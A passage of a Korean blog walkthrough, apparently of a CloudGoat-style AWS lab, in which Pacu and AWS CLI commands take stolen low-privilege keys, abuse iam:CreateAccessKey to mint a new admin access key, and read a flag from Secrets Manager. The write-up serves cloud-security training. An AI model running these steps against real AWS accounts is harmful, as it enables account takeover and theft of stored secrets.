&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1753&quot; data-origin-height=&quot;837&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi4XyK/dJMcabpSXoS/HIQxEYolxA6R9O4BDQPni1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi4XyK/dJMcabpSXoS/HIQxEYolxA6R9O4BDQPni1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi4XyK/dJMcabpSXoS/HIQxEYolxA6R9O4BDQPni1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi4XyK%2FdJMcabpSXoS%2FHIQxEYolxA6R9O4BDQPni1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1753&quot; height=&quot;837&quot; data-origin-width=&quot;1753&quot; data-origin-height=&quot;837&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;whoami 명령어로 키가 잘 바뀌었는지 확인한다. 성공하면 프롬프트가 &lt;b data-index-in-node=&quot;11&quot; data-path-to-node=&quot;12&quot;&gt;Pacu (set-keys:secondary) &amp;gt;&lt;/b&gt; 로 바뀌며 이제부터 모든 명령은 보조 계정의 권한으로 실행된다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; Pacu에서 &lt;b&gt;set_keys를 두 번 사용하는 이유&lt;/b&gt;는 공격 단계에 따라 필요한 권한이 다르기 때문이다. 첫 번째 키(low_priv)로 정보를 획득했다면, 두 번째 키(secondary)는 그 정보를 이용해 관리자 권한으로 가는 역할을 한다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot; data-path-to-node=&quot;5&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;권한 &lt;/b&gt;&lt;b&gt;분석&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; Secondary 키를 얻은 직후, 이 계정이 무엇을 할 수 있는지 확인하는 단계이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;b&gt;- AWS CLI&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; aws configure --profile secondary 등록 후 aws sts get-caller-identity 확인 &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&amp;nbsp;&lt;b&gt;- Pacu&lt;/b&gt; &lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773143462932&quot; class=&quot;dsconfig&quot; data-ke-type=&quot;codeblock&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;Pacu (set-keys:secondary) &amp;gt; run iam__enum_permissions&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;571&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSAvwS/dJMcabKbTAB/svdKTD4SVkZvy20a7NCV40/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSAvwS/dJMcabKbTAB/svdKTD4SVkZvy20a7NCV40/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSAvwS/dJMcabKbTAB/svdKTD4SVkZvy20a7NCV40/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSAvwS%2FdJMcabKbTAB%2FsvdKTD4SVkZvy20a7NCV40%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1401&quot; height=&quot;571&quot; data-origin-width=&quot;1401&quot; data-origin-height=&quot;571&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; Pacu가 FAILURE라고 띄운 이유는 이 secondary_user 역시 자기 자신의 권한을 조회(List/Get)할 권한은 없기 때문이다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;이번에도 &lt;b&gt;whoami &lt;/b&gt;명령어를 입력하여 14개의 권한이 무엇인지 확인해 본다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773128131592&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&quot;iam:createaccesskey&quot;: {
        &quot;Resources&quot;: [
          &quot;*&quot;
        ]
      }&lt;/code&gt;&lt;/pre&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 출력된 권한 목록을 보면 가장 위에 &lt;b&gt;iam:createaccesskey&lt;/b&gt;가 있고, 대상(Resources)이 *로 되어 있다. 이건 이 secondary_user가 &lt;b data-index-in-node=&quot;101&quot; data-path-to-node=&quot;1&quot;&gt;이 AWS 계정 내의 그 누구의 것이든 새로운 Access Key를 발급할 수 있다&lt;/b&gt;는 뜻이다. &lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ 관리자(Admin) 권한 탈취 ]&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 이제 secondary_user가 가진 &lt;b data-index-in-node=&quot;22&quot; data-path-to-node=&quot;4&quot;&gt;iam:CreateAccessKey&lt;/b&gt; 권한을 남용하여 이 계정의 관리자(Admin) 권한을 뺏어올 차례다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,0,0&quot;&gt;관리자 유저의 이름 찾기&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;li&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b data-index-in-node=&quot;0&quot; data-path-to-node=&quot;5,1,0&quot;&gt;그 관리자의 새 키 발급하기&lt;/b&gt;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 관리자(Target) 유저 식별&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 권한 상승을 하기 위해서는 누구의 키를 새로 만들지 &lt;b&gt;타겟&lt;/b&gt;을 정해야 한다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773128293777&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CLI 명령어
aws iam list-users --profile secondary

# Pacu 명령어
Pacu (set-keys:secondary) &amp;gt; aws iam list-users&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1486&quot; data-origin-height=&quot;1060&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/PsKer/dJMcaiWMxl4/kToqk4Fyr8G1r4rhKhDn60/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/PsKer/dJMcaiWMxl4/kToqk4Fyr8G1r4rhKhDn60/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/PsKer/dJMcaiWMxl4/kToqk4Fyr8G1r4rhKhDn60/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FPsKer%2FdJMcaiWMxl4%2FkToqk4Fyr8G1r4rhKhDn60%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1486&quot; height=&quot;1060&quot; data-origin-width=&quot;1486&quot; data-origin-height=&quot;1060&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 현재 계정은 iam:ListUsers 권한도 가지고 있으므로 전체 유저 목록을 조회해 본다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;출력된 리스트에서 관리자 계정인 cgidvhcic4piwh_admin_user 의 이름을 식별했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 관리자 권한 탈취&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 식별한 관리자 유저의 새로운 액세스 키를 강제로 발급받는다. 이 단계가 성공하면 기존 관리자의 동의 없이도 관리자 권한을 가진 키를 가지게 된다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773128430691&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# CLI 명령어
aws iam create-access-key --user-name [찾은_관리자_이름] --profile secondary

# Pacu 명령어
Pacu (set-keys:secondary) &amp;gt; aws iam create-access-key --user-name [찾은_관리자_이름]&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1490&quot; data-origin-height=&quot;315&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/do1Rkh/dJMcajnOL7j/hSHYS05Enfm815K5IjfcjK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/do1Rkh/dJMcajnOL7j/hSHYS05Enfm815K5IjfcjK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/do1Rkh/dJMcajnOL7j/hSHYS05Enfm815K5IjfcjK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fdo1Rkh%2FdJMcajnOL7j%2FhSHYS05Enfm815K5IjfcjK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1490&quot; height=&quot;315&quot; data-origin-width=&quot;1490&quot; data-origin-height=&quot;315&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;관리자의&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;0&quot; data-index-in-node=&quot;12&quot;&gt;AccessKeyId&lt;/b&gt;&lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;와&amp;nbsp;&lt;/span&gt;&lt;b data-path-to-node=&quot;0&quot; data-index-in-node=&quot;25&quot;&gt;SecretAccessKey&lt;/b&gt;가 출력됐다. 이 키를 admin_user라는 이름의 프로필로 등록 후 관리자 권한이 있는지 확인해 본다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;AWS CLI 프로필 설정&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773144108435&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;aws configure --profile admin_user
aws sts get-caller-identity --profile admin_user&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;225&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bPyHyB/dJMcaaR2QXU/KGAX0TVF86qLvEkYskLIOK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bPyHyB/dJMcaaR2QXU/KGAX0TVF86qLvEkYskLIOK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bPyHyB/dJMcaaR2QXU/KGAX0TVF86qLvEkYskLIOK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbPyHyB%2FdJMcaaR2QXU%2FKGAX0TVF86qLvEkYskLIOK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1364&quot; height=&quot;225&quot; data-origin-width=&quot;1364&quot; data-origin-height=&quot;225&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;ARN이 ...user/cgidvhcic4piwh_admin_user로 나오면 성공이다. low_priv_user로는 볼 수 없었던 모든 유저의 정보를 다시 한번 확인해 보겠다.&amp;nbsp;&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 이번 시나리오의 최종 목적지는 &lt;b data-index-in-node=&quot;39&quot; data-path-to-node=&quot;0&quot;&gt;AWS Secrets Manager&lt;/b&gt;이므로 관리자(admin_user)의 권한을 가졌으니 플래그를 획득하면 된다.&lt;/span&gt;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 공격 단계별 명령어 비교 &lt;/b&gt;&lt;/span&gt;&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 공격 단계 &lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; &amp;nbsp;도구 (Pacu) 명령어 &lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 수동 (AWS CLI) 명령어 &lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;핵심 목표 &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;1. 키 설정&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;set_keys&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws configure --profile [명]&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;획득한 자격 증명을 시스템에 등록&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;2. 환경 열거&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;run elasticbeanstalk__enum&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws elasticbeanstalk describe-configuration-settings&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;Beanstalk 설정값 내 숨겨진 키 탈취&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;3. 권한 분석&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;run iam__enum_permissions&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws iam list-user-policies / get-account-summary&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;탈취한 계정이 가진 '폭탄' 권한 확인&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;4. 타겟 조사&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws iam list-users&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws iam list-users --profile [명]&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;권한을 뺏을 대상(Admin)의 정확한 이름 식별&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;5. 권한 상승&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws iam create-access-key&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws iam create-access-key --user-name [관리자]&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;타겟의 새로운 마스터 키를 강제로 발급&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;6. 최종 탈취&lt;/b&gt;&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws secretsmanager ...&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;aws secretsmanager get-secret-value&lt;/span&gt;&lt;/td&gt;
&lt;td&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;관리자 권한으로 최종 Flag(Secret) 획득&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h3 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size23&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt;[ Secrets Manager에서 플래그 탈취 ]&lt;/b&gt;&lt;/span&gt;&lt;/h3&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 시크릿(Secret) 목록 확인&lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1773128875636&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 시크릿 매니저 목록 확인
aws secretsmanager list-secrets --profile admin_user&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;764&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/duwuPz/dJMcajuC8zy/WUh9jxSkxEfKIoWtD9Nj70/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/duwuPz/dJMcajuC8zy/WUh9jxSkxEfKIoWtD9Nj70/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/duwuPz/dJMcajuC8zy/WUh9jxSkxEfKIoWtD9Nj70/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FduwuPz%2FdJMcajuC8zy%2FWUh9jxSkxEfKIoWtD9Nj70%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1550&quot; height=&quot;764&quot; data-origin-width=&quot;1550&quot; data-origin-height=&quot;764&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 먼저 어떤 이름의 비밀 데이터가 저장되어 있는지 리스트를 확인한다.&amp;nbsp; 출력 결과에서 &lt;b data-index-in-node=&quot;8&quot; data-path-to-node=&quot;7&quot;&gt;Name&lt;/b&gt; 항목에서 cgidvhcic4piwh_final_flag라는 이름을 확인했다.&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h4 data-path-to-node=&quot;5&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt;&lt;b&gt; 플래그 내용 읽기 &lt;/b&gt;&lt;/span&gt;&lt;/h4&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; 찾아낸 시크릿 이름을 사용하여 실제 플래그 값을 가져온다.&lt;/span&gt;&lt;/p&gt;
&lt;pre id=&quot;code_1773128919367&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;# 플래그 내용 읽기
aws secretsmanager get-secret-value --secret-id [SecretName] --profile admin_user&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;367&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/JfDH8/dJMcaaYMcus/hcJceoPiD2RoKIX0OSWksK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/JfDH8/dJMcaaYMcus/hcJceoPiD2RoKIX0OSWksK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/JfDH8/dJMcaaYMcus/hcJceoPiD2RoKIX0OSWksK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FJfDH8%2FdJMcaaYMcus%2FhcJceoPiD2RoKIX0OSWksK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1418&quot; height=&quot;367&quot; data-origin-width=&quot;1418&quot; data-origin-height=&quot;367&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&lt;span style=&quot;font-family: 'Nanum Gothic';&quot;&gt; SecretString 항목에 들어있는 &lt;b data-index-in-node=&quot;22&quot; data-path-to-node=&quot;26&quot;&gt;FLAG{...}&lt;/b&gt; 형태의 문자열을 확인하면 시나리오 성공!&lt;/span&gt;&lt;/p&gt;
&lt;p data-path-to-node=&quot;5&quot; data-ke-size=&quot;size18&quot;&gt;&amp;nbsp;&lt;/p&gt;
